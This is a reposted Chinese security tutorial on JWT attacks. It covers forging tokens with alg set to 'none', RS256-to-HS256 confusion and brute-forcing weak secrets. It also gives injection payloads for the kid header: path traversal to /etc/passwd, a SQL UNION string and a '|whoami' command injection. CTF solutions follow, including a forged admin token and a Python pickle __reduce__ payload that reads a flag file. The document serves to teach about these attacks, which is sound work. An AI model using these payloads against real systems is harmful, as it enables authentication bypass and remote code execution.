本文转自先知社区:https://xz.aliyun.com/t/9376
作者:sh0w1
JSON Web Token(JWT)是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,经常用在跨域身份验证
cookie /session /jwt 不同点
1.对于一般的cookie,如果我们的加密措施不当,很容易造成信息泄露,甚至信息伪造,这肯定不是我们期望的。
2.session:客户端在服务端登陆成功之后,服务端会生成一个sessionID,返回给客户端,客户端将sessionID保存到cookie中,session保存在服务端,当客户访问量增加时,服务端就需要存储大量的session会话,对服务器有很大的考验
3.jwt:在身份验证中,当用户使用他们的凭证成功登录时,JSON Web Token将被返回并且必须保存在本地
构成
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ
header
声明类型,这里是jwt
声明加密的算法 通常直接使用 HMAC SHA256
{
'typ': 'JWT',
'alg': 'HS256'
}
payload
-
标准中注册的声明
-
公共的声明
-
私有的声明
-
iss: jwt签发者
-
sub: jwt所面向的用户
-
aud: 接收jwt的一方
-
exp: jwt的过期时间,这个过期时间必须要大于签发时间
-
nbf: 定义在什么时间之前,该jwt都是不可用的.
-
iat: jwt的签发时间
-
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
{
"sub": "1234567890",
"name": "purplet",
"admin": true,
"secretid": 1
}
signature
-
header (base64后的)
-
payload (base64后的)
-
secret
// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret');
攻击方法
签名无效
空加密算法
None
import jwt
token = jwt.encode(
{
"user": "admin",
},
algorithm="none",key=""
).decode(encoding='utf-8')
print(token)
pip install PyJWT
修改算法RS256为HS256(非对称密码-->对称密码)
HMAC
和RSA
HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
signature
字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。爆破密钥
-
知悉JWT使用的加密算法
-
一段有效的、已签名的token
-
签名用的密钥不复杂(弱密钥)
修改KID参数
kid
是jwt header中的一个可选参数,全称是key ID
,它用于指定加密算法的密钥。我们可以通过修改kid参数进行目录遍历、sql注入、命令注入等攻击#目录遍历
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
#sql注入
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "aaaaaaa' UNION SELECT 'key';-- "
#命令执行
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/path/to/key_file|whoami"
}
修改JKU/X5U参数
信息泄露
easy_login
controllers/api.js
这里是怎么猜出来的,看了赵总的WP,凭经验
import jwt
token = jwt.encode(
{"secretid":[],
"username":"admin",
"password":"888"},
algorithm="none",key=""
).decode('utf-8')
print(token)
ikun
import requests
url="http://4134c719-6874-41bc-962f-ab08697fbc16.node3.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
--》lv6在181页
import pickle
import urllib.parse
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload(),protocol=0)
a = urllib.parse.quote(a)
print (a)
序列密码
https://www.hetianlab.com/expc.do?ec=ECIDced7-a94a-44af-af5a-a433ed1bee97&pk_campaign=weixin-wemedia#stu
序列密码也称为流密码(Stream Cipher),它是对称密码算法的一种。通过本实验,了解序列密码
0元包邮领↓↓↓
《内生安全:新一代网络安全框架体系与实践》
点击下方图片参与领取
本文始发于微信公众号(合天网安实验室):JWT攻击学习
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论